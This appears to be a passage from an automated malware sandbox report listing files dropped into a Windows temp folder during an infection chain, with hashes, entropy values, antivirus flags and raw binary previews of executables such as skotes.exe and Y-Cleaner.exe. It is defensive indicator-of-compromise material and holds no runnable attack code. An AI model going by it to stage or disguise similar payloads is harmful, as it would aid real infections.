Preview:	............r.......r...............................................r.....................r...........r.r...................r.......r.........r.r.r.r.r.r.r.....r.r.r.r.r.r.r...r.........r.r.....................r.....r.r.r.r.r.r.r.r.r.r.r.r.r.r.......r.................r.......r...................................................................................r.r.................r.......r...........r.r.r.r.r.r.r.r...r.r.r.r.r.r.r.r.........r.r.................................r.r.r...............r.r.....r.....................................r.r.r.................................................r...................r...r.r...............r.r.r...r.r.r.r.............r...r.................r.r.r.r.r.r.....................r.r.......r.r.r.r.r.r.r.r.r.r.r.r.....................................................................................................................r.r.r.r................................. .!.!.!.!.!.!.!.!.!.!. . .r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.

C:\Users\user\AppData\Local\Temp\Execution

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.675787508464099
Encrypted:	false
SSDEEP:	3072:9nVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj0nE0:9VIPPL/sZ7HS3zcNPj0nE0
MD5:	42FB34DDB94507C5A125BF02C2983904
SHA1:	4E400C020121235E3DE490F5CBB38C4A25E686DC
SHA-256:	D59EFEA25D1E316B8A9248F52081AB14113C97603F3E90D533F4F373F743B3C7
SHA-512:	639D90CD1CD451EBCB9E5E1C165F7EEBB62B30D6BF24C596990CA40E08BCE5D0B5864E7A4F0A83624C7CF9AC4EC5C1E7385F59602B206F3346554D62721CD71D
Malicious:	false
Reputation:	unknown
Preview:	..=....u .............................}...$t&..@t!..`t.......r.......v.......s.3........;E...9....E.M.@.E.;...m.................}..E..........]....F\|.E.;...l..........}....}...E.t6.E..%....=....u%......................}.....E.......U.............L.........E.,K.......K..F\|.M.;..........E.}..........t-..%....=....u...G.......%....................U.............L.........E.,K.......K............1L.t....<p.E.}..;...w......E.u..].}........t ;.r.;.....v..Fh..............A...M.A.M.;M........M.U..E.......}...G............3A...$...E..}..E........\|.N\|;........V...t..u.F.PQ.............:....,.V....+.;.w f..f;F4u..........f.G.f;F6.............t1.G.;F\|r).~..u#.~..u.f..f;F4u..Fh..............@...N\|....}.;.s.f.......f#.....f;.u.....}..E.@.E.;E...7.........}......;........N\|.E.;...........}.;.s$f...E.....f#E..E.....f;E.E.u.....}.B;.~......F\|..}.+.;...-......M.}......}..E..........s....F\|;...v............}.%......=....u!............%...............}.....w*t....tD.A.......

C:\Users\user\AppData\Local\Temp\Genre

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.997966981425173
Encrypted:	true
SSDEEP:	1536:ju/rDNkncHkrP9rRrANgBdCQYqZ7yhjYP/G9ye4nMRuU/DpFracF+l72Jxj6tU:jANkncHA9NpCQzeencyjFUrpFracC2F
MD5:	5CE4409C4AAA9FD5A27EC4974734F1DF
SHA1:	BF7EE5465EF96EE0186388B5B0685AD727ED9493
SHA-256:	A401B4CD0AFBAEE57D8025BF4FCE12583C825CBC2E3D3F308EB0627CD5BBA412
SHA-512:	1155B1C58221BA1C809D9D60CD440EBD8788DCD3169EE87BDA72FB7061B1E2F849F8BC79AC7053DF5DE8BC7955DB088DF778AF66900D6F303BDE6D61925014E6
Malicious:	false
Reputation:	unknown
Preview:	IP......W..%..s..^.C...A../.~..tHs.....6.2..X.{-?n.sI....U.UiP.J...@...t..f....P..o.m.+..-6..).JC..x.D..{5:.-T...:Au.}..+.....<fN..c`RHV.........f..L...@.x...../..,..H$.......T8....$ym.h8...@v9....;W......b.S..<....x".0f.z.~.W.7....J......K...:"..4Aa.G.b.z....%...>. ...q:..k\.]O...BU.......%.(......0v....I.....&<Do..X.{g.o..j#.w..4.6.6."~j....O..s............{.6.).b.I8/....zQph~..{..(.(..L....e..$...R.g"\|.Kll`....'yS.`.Sz9.s..\.D...Y..QNn.?#!..4...Ay.n.....(.F....f2.P...Q.o..s...5...=!.`.w....{j..>s!]\|.]..5.h.T.(.@...B3........x.....BS..3..B.z.tZ.m.H,...x..5.i.Gl..v.@`.0.t@....,0...[.5.T....i...V...x..}.xW..~.....:.....v..cI.)...-..sHC...mK......xE.\.8u./....qU....9.....+..x.MR].F...q..G<RoV.....?w..0...-...O.}....g..>....y...%8..s....WDx0...w...bLx9%.s.P,+a.....kL...q.....D..h....M._.C......Y.M....r\..........z...Fi....op....4..9..H..U[._..n..e.....,.J.3."...u.-....F.SGsM...H45\|.v[.....8..D..)\|.,NwpM.\..)_.tT.\;....)yg.h.

C:\Users\user\AppData\Local\Temp\Marijuana

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	6.7675117089438706
Encrypted:	false
SSDEEP:	1536:To2+9BGmdATGODv7xvTphAiPChgZ2kOEb:TNoGmROL7F1G7ho2kO6
MD5:	D830821FE60D6CD810FB9EC7102838F3
SHA1:	9264B78903FA373E0A1B697CC056DECC1DFAFB5F
SHA-256:	00A96AC0E8600A9FA0A00EF1F939B58BE93618C4FE4E3BE9D0BFAB0A4A0FF57D
SHA-512:	2A8E2BB9D599964CA112AACBB0FDA37C01466898A7AF5D7C8543013949B0BC6E5665402692A1072845B1A72211D350963C608A81A7C3450C19A56A948CED5D4D
Malicious:	false
Reputation:	unknown
Preview:	>x....7..C.....#.G..J....-.".Z{{.Uw..(.J...p.I.6..Q...!.i...<4....N..mP.~.....M...tttX.e...g.....".7..L..H..+... ..G....v.......^....#..d29.....9y... O..a.7.<.....8O..s.......e..q..DDU.o....S...D.......pQ......6.=<...E.........P...".g.z.....91.M.5.B......{...q>;..WE...d.~~.}.....+".GN{.~....xxw..Zk....F...z.X.e...x<.......I3....p`.......=.........h...nH...K5..!.....U.CU....h..x.p?....Z...w..}I.=2@:......-U.C.W.....x.x.V!..>C..T......'..E..."Uu....?.u.Am.fc/.l.1...p.T..Tg.8....:.<{d..t.[....T.g....=..s....y`.<.....%".T..8...v.l.'....A&..V....x+.:2..~G....."r.^...#.......<....MC80...=<HO{.+...@.h.c;8<.vJ...(./....x....y.w..F.......2...;;x.p.7f...oj. O....p...7...H$.=._\.;.._Q.?.Y.oG.grh(.S..H.B^`..=CDHF[x.`.GG:.L3.T....W....B......0.#.......G.t...:.....q...P?..u..tU..a...h../.../--.2....zz...o.X..'o0...l..2........../....d.L....wg.....D.]DF.M8wBK...]i...WO.dln.U.V..;...0.:2...g~U....5....z..T.$"_...0........!..........z.\|...Gv...K7.

C:\Users\user\AppData\Local\Temp\Mj

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	7.998576390696709
Encrypted:	true
SSDEEP:	1536:cD6KkwPhsASDYs8rp/KWY8Xr1OWgxQFn/LbctRaCiUO7QOZg2hc9nW0iH:c+KVhtSQzY8713n/H+O7rGW0K
MD5:	FF77A17E4CADE79760F0F8B87C857C6C
SHA1:	B05075D65229AF0063E6E85DA14AB940062818DD
SHA-256:	CC8A9523B67F764E447CD5042751E1DE77B04FFC5664E6F5C41D1C3CCE0EC60D
SHA-512:	6DF97DCB14736D2F0CE9762B7246050B488E054375C78F42294119D80CACEDCF53F4B3868B7A4C948DD7B1F9545B4135F5BD5ED69611424129CAE63A372994D0
Malicious:	false
Reputation:	unknown
Preview:	K....A.h..j..X.Tr.dxRn-.3.N..+[...#.v5.>.".y....oA.....;.W.T7....B.u3.y.=....c.t...i.....>...Rj@H....,'..l. .\+.^.l.mE.W..).....,]...J..r..m...~...O........."H.>.=P..8...+.L.}.M...[.CLM-V...&\.3..o@..{.DtN.>.........mCE.../..R..\..t.H.OgefD.Y..w.....F........B.-.....\|B......4%.:K..^....\|.. X.l.s..M.Q.\|.......+-..i......s.O...;.Y.<......[.Z..d.R.>.l.b.M.=.[k..k@...m.Z..........XP.C."....1,."...1........l.Iz%.......b.>...$^kr.+.Wk.l.~a.........^..;~....wvN..N......:...p.\..h2Yi....F..Sw1I.mf..7..t.}....."..;..,\...A.JB..S[.T....H..g..&..o;..I.;N..c..P`9.[....c.R{[...1.:..A.O.*.....0...VuY.....y..b...O.a.D...\[..66Og.....h.T..z...ZEoN.VA.DQ.`._.....R.X.c:......b..9X{...eNP.x4.......S..O....%..z'..Q.,...q. ....y..4........h.......B.8..zu.L.0Ja.:.q.Q.I....8I..u..sN\|....z...7.........O..5.._vb]...WD7EF.S.o......"`.......`....q.....r>.......!ar.`.r.F7g9.\|....Oea.hX.S.'0i=......Lfx.L.A0..kMbP.[}.{..Z.oP..\|xs...!..s.@.>....$0.S.1.E......;.7..

C:\Users\user\AppData\Local\Temp\Mysterious

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.998131058926633
Encrypted:	true
SSDEEP:	1536:2Ifwsyt1Vj+tpNuEroTuyisZj6b3nlPw2gIPNBcYxZA+eGth3WQjR7:LIDDctDt/jsZAn1w23NB/dJWKR
MD5:	BEEF30C9A0C6A41985E081CD4FF23049
SHA1:	4E09FFAF608BAF3A98CD94794CB7CC23E41C3086
SHA-256:	FC64F325CDD473ADB5B7C15221F7B2773A064395612EFF9AD1C76FA973A6738A
SHA-512:	EC71CDB716B684B241A2FA2BCA84CBCED9AA86BA0954009DC003EF1F80640C01D49911EC6E031E9F8E8139D30BF5A77D7A79EE38F66B8FD43A6E4F957CB8E1CA
Malicious:	false
Reputation:	unknown
Preview:	.I..!.`x...yh.b.g.?._...H....A(i..zL.....dW..\|w:,EP.F+.K0y..d...p.[...=.........w.......6o...Z........KU...l..'...bkMJ....lI.....F..Yd..r1UXQW.i...p..Z.<..E.v.Gl....).C.'.v.F..}B.B...v....e..\....-....;M...}.....N....l..9..4i_u..fYC..e.q...rq._..X........S...0.B.`...L.V.l.`o1!4M"......K.....4.R.....".<q....=.J....#i.Q...6&.....{....NH..}..u(m..+@........{.....xI.}(....xK..M.Tq>:..+<m~......1..rX...tK....3Yl...KX......U.......,.......5...9.....o..7..&..~.s....N4..U..X.Y.N}`e....2.j..9..'eZQ...i......_K...?..W.z..TULSh..l8..<R..x.....U.~c.J.l.xqHo..?...Jl.@.W..k.0QQ[.......q/..ri.5M..e%}.@.. .].....J.=d.%.....1s.l.l..{4-I.u..A.-..nm..>.6.?pG...+6........:.\|....D.S..S.1...5?...--}....k]I..oy..8....~!..+..)..z...0...6p<.#2.....d...q..#.,M,.X.....Vbq.OEE._1l...0.$.c..yYr.%....l.......E....&...v.........6~b.'..E......-........H.V.z...jQ..M..>.H ..\..*.e.vk...e.7......\|....e..'.%...z..n...u...$j&.I...U.H...s[..T.....p.Q/..w..\.Z....e.Fh.T.

C:\Users\user\AppData\Local\Temp\Producing

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	6.689808554469509
Encrypted:	false
SSDEEP:	1536:xI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwneAJu7Y:e4CE0Imbi80PtCZEk
MD5:	AA4D881EA35979E4EAB13C982D3D0898
SHA1:	CF301086D6E43E603571762FBC7D754F0246FB74
SHA-256:	31D85BEBE7949C9B7B40AF007FBBE61C8CD6C25F8E4FC7DCFE9B7DCD8A1D79E7
SHA-512:	F64491753F2CF57B72740CA91F10C2BD677219BC89BF86D2476A8567CF83955F986A481C92D19BEF9C466438AF97D071686EA2FC496C5E477C900568F129B5F6
Malicious:	false
Reputation:	unknown
Preview:	.......f..L$..T$......T$.....T$...$......D$.....f..T$.f..D$.f.~.f.s. f.~...........t.......d$.U.........$..~<$.........~\|$.f...f.(.f.T..AJ.f....BJ.........U...f./..BJ.snf./..BJ.......f.(.f.Y.f.(.f.Y.f.(-pBJ.f.Y.f.X-`BJ.f.Y.f.X-PBJ.f.Y.f.X-@BJ...Y.f.(.f......X...Y...\.f..\|$..D$..f./..BJ.......f.(.f.Y.f.(.f.Y.f.(-0BJ.f.Y.f.X- BJ.f.Y.f.X-.BJ.f.Y.f.X-.BJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ...Y.f.(.f......X...Y...\.f..\|$..D$....~.f.W.f./..BJ.sO..~..BJ...~-.BJ...~...X.f.s.,f...f.~..@..~,.p.J...~...\...Y...X..BJ...^.f............~...~..BJ...^.f.....~..`.J...~$.h.J.f.(.f.Y.f.(.f.Y.f.(-pBJ.f.Y.f.X-`BJ.f.Y.f.X-PBJ.f.Y.f.X-@BJ...Y.f.(.f......X...Y...\...\...\.f.V.f..D$..D$..f./..BJ.u..D$..f./..BJ.s....BJ....BJ......$..$....D$.....BJ....BJ..D$....~...~..AJ.f.T.f...z..D$.......BJ....AJ...D$..........U.........$..~.$.......f..D$.f..%.CJ.f....CJ.f.W.f....CJ.....f.s.,f.~....... ..f.............#.-....=............Y........\...Q.f.T.........f...Up.J.f.V.f.($.p.J.......X...\...Y..

C:\Users\user\AppData\Local\Temp\Receiving

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	7.9971672365789415
Encrypted:	true
SSDEEP:	768:ttBffnhuy/kWZ4KmEvLGxvyj85XqOlWChh7diY+BChE2u0W5zqirJebuswzA:ttBHnhuyXNwvouXqO93diTn2u0NOeizA
MD5:	8D5CF0056A8BE7CA1485969FC23F72A5
SHA1:	5727BC17CD958D06B1E7D52C8D38A761A1AE2BF2
SHA-256:	BD1B00DEA1CDDB3345443A35AE3B71883443722EDBB48016F829AC500F5F505B
SHA-512:	B0F5FB69A565FC9690F307175C606CE9F9484BC309AC00B8A359CB6B77D19A938052EC584919A256FDB7C0B1557E155B414090B771432ACB9419102F794B61EC
Malicious:	false
Reputation:	unknown
Preview:	.v..........^...F.y`.QLu..Eu...(.]6S./..B}..M./.5.7.....@:../;.h..S......x.......^...9......=.....;....l.G.A.>E.=..{.[.~..<b%....N..V..~W...ed_..PqM)d%.........Hg...CB...Y...&....ON].....[X......[...H.P.M....+.D...'.....1.Plu.zRg2.!4..^...h....[\....!Y.6u..........E..q.,W.jv..i..I......`.........2.?;(...P7ap..6.e...w...W..tI...3.S.....j....B.B...v.Q..4...R~....y1.9l{^.V.s..@.x.3.N......-w...B..{\:_......,t.O2.L\m2'..J.e...Y..d....^.p.Z...^.K.p3i..:.L.<...1T...#...V.Ey37.h7./......^}.c1..[.N...\..9D...?..b...tz.E`.w........B.=..uB..=.3.....8../.g.i.sv....+...M...9#i.r..e..U.R.1.-K.....\|.;.U.y..N.-~.j.\|F.....Nyn..Qd2..@...d..\....9R..=...K0+..2.....`...&>..\..]; .*.X,....+..........+....!.....e.......l....>.m..P .\..dIO...bB.^.ph'..6.Ll...3...<..D..Q....nv.~...h.jm.....L.}7.s.k].j7..H....0...j#.&.=.H..DY..j.&..dD.......wH.X....=st.H.b.#M;..L.C.I.6..#4a^3.i........Z..{2c..8.w...9O.G../;.a.l.h..n..".%.t.A.}Dc.s.nNa...M...w..p%Al\.$WV.

C:\Users\user\AppData\Local\Temp\Solely

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	107520
Entropy (8bit):	6.2684070117846975
Encrypted:	false
SSDEEP:	3072:pg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laG:a5vPeDkjGgQaE/lx
MD5:	2FADD2BF6F3CDC055416BAA1528652E9
SHA1:	342D96C7CE7B431E76C15C9A7386C2A75E3DC511
SHA-256:	8DF18D17C715E689B9CB222BEB699120B592464460FD407DBB14F59CCEC5FDB3
SHA-512:	08BC19703DAD1441E1DA8FB011C42241A4C90D8355575B7F41D465E3E84D797ECAC7D6BF9AF6163E6F4EF506CD98561F62D06446F861AEBA2D7644BEB7F6ABB8
Malicious:	false
Reputation:	unknown
Preview:	....T)M........t.Q......T)M..... ...`)M...T)M.;5d)M.u....\|.....8.u.N...5d)M...X)M.^...v..D...8.t.]...I..X)M.j..4......T)M.YY..X)M..$....X)M....v..T)M...x)M....t)M...T...V..Np......NT....N$....N....h....V.C...YY..^...U..VW.}.........M...tF.E.S..t.;.....uH.^.....Q.........;...a...........h....V......E.YY..t.[j.j..7..X.I._^].....u.........M...t...6..V..j..N..V..F..4......F.YY.N.^.$...SVW..j._..l...............u.Nl.....N(...h....V.U...YY_..^[...U...u...(M......U...t...@)M.......y..u&...)M...u...M.........Qj..u...x.I.].....)M...U...u...(M..H.....@)M.......q.P.....j..u.j..u...x.I.]...U..M....t.W.}.........._]...V..4.I...(M.P..........t...@)M...j.....0.....^...U....SVW.}..E.P..7....I..E.l....E...p....E.PV..x.I..M.E.;.t...u.;.x...uw.s..5..I.......f#.j.f.E.X.s.....E...u.f......f#.j.X...f.M..E.;.\|..........}..t...\|...;.......;....}..t......._^[.....}....t.....x.....s.......U......(M.V.u.WV.......@)M.....8..........;u.........M...E......Q.u.j V..x.I._^....U....

C:\Users\user\AppData\Local\Temp\Sunrise

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	63488
Entropy (8bit):	6.678836431320186
Encrypted:	false
SSDEEP:	1536:ECX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M26N7oKzYkBvRmLOy:fXnmowS2u5hVOoQ7t8T6pUkBJRy
MD5:	9E4FE1F2538C08F75AE16A3E349C9EF2
SHA1:	559879228568B2F405400B34DFB19E59F139FA2C
SHA-256:	22CE756672ACA3A4BA015903B4C36E7667E15C73157759E5A2212E7D4E727CC0
SHA-512:	A1F6BF183C590CC62000DDDB0FEA63BAE2BDC30FCE8EBFA24286B9FB8B2415C67B2363F739D36B32CC7B477E608397EFBE45173173AA3F27ED44E9B75448B9EC
Malicious:	false
Reputation:	unknown
Preview:	.{..C..C..C..C..C...u..u......{(......C8.....x............E.3.P.C(.u.Pj.V.C.P..X.I...x..u........9s........C..@.......}.........j.....I.h.pL.W...{.....I.....tn.........xj.e...E.PhT.J..C.P...xC.M...t<...U.R.S(Rj.Q.P...x..}..t..u....]....{..u..C..@...E.P...Q....C........C./...V....I....C.T..._^..[....V..N...(pL...t...Q.P....F....N...t...Q.P.j<V...YY..^...U..E...8P..D.I.]...U..E..H...t..u....u..u..u..u.Q.P.....@..]...U..S..M.j..S.."...Y..x4.}...C(u.VW.d.J......._^..P.u...\.I...y..C......C.........C.[]...U..E..H...t..u....u..u.Q.P.....@..]...U..E..H...t..u...Q.P.....@..]...U..VW.}...........F.Phd.J.W....W.P._^]...U..E..H...t .u(...u$.u .u..u..u..u..u.Q.P.....@..].$.U.............V..h....P.v.....I...tkW.~.Wj.......P..4.I...xHj.......P.7..0.I...x..F......%j.......P.7..,.I...x..F........F......F....J....F._....@...F.^..U..E..H...t..u....u.Q......@..]...U..V.u..F8P..@.I...u...t.Q......3.^]...U..QV..~..t_.F..M.QP...R...xN.~..u..M..q...A..q.P..A.PQ..(.I.. .~..u..M..q...A..q.P.

C:\Users\user\AppData\Local\Temp\Veterinary

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	2852
Entropy (8bit):	5.490446063863794
Encrypted:	false
SSDEEP:	48:I9n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfq1koCqxLVJcd2u+MAyKnFHbgk:0SEA5O5W+MfH5S1CqlVJcI6mlb/
MD5:	6F07C56590CB57E03B68F9E2F994390C
SHA1:	AEE254034B1F3394A97304C8DFBAE1911440E2C0
SHA-256:	1772CFD25C5DEB74DACC6FC88AA8793A74C89A81452B27E886CA49557BA32D84
SHA-512:	0AF18E6D07C161A5088CEC9A56654C9F661AC003F0E22B68B6DBFE2920BB344F4D9A1326C261957C2309BB44DCB39453630F33068A057A1A6C2960EDFBD39001
Malicious:	false
Reputation:	unknown
Preview:	Anchor........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B..........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Bunifu_UI_v1.5.3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Y-Cleaner.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2t5d2dys.5cu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1dzouuo.jhd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e0nxf42a.mvw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kxf2hyp5.1mx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3191808
Entropy (8bit):	6.6332624661279125
Encrypted:	false
SSDEEP:	49152:FcSbC5Zus2uZdkkKj5D9ah2V5Obg5cNn6Eq:+SbuZus2Gqp5DMEbcN6p
MD5:	01D3882BE7A8BA0FF3BCEC230DDA6B08
SHA1:	3CBD8E61C13D33EBE9FF720BAD5DC476D1FACC51
SHA-256:	1366B33AAB98FC5AEAFD100FC2A7BC7C78CF0F285922276D4A1FEF6B64AB99CE
SHA-512:	8D81C578E0B62A49B1AC81E02622CBF6472136930284A9FAA00F2ACA9BFB27361DFF4EE4E0B7C0067840211BF4C7DC18199A7CA62B3A321243D0EED0606A3478
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0......G1...@.................................W...k.............................0.............................p.0..................................................... . ............................@....rsrc...............................@....idata ............................@...fficecxo..*.......).................@...qigjcqak......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439808
Entropy (8bit):	6.48944055080441
Encrypted:	false
SSDEEP:	6144:as9C0eaieHm71o2pL2IMJDoMc2ZNu5GQpsnp/yFPMsXnQODVNIg+cTtgJ7AO+Zj5:as9C0eaieHmO292D3//yFPMsXkJ7gmk
MD5:	CE27255F0EF33CE6304E54D171E6547C
SHA1:	E594C6743D869C852BF7A09E7FE8103B25949B6E
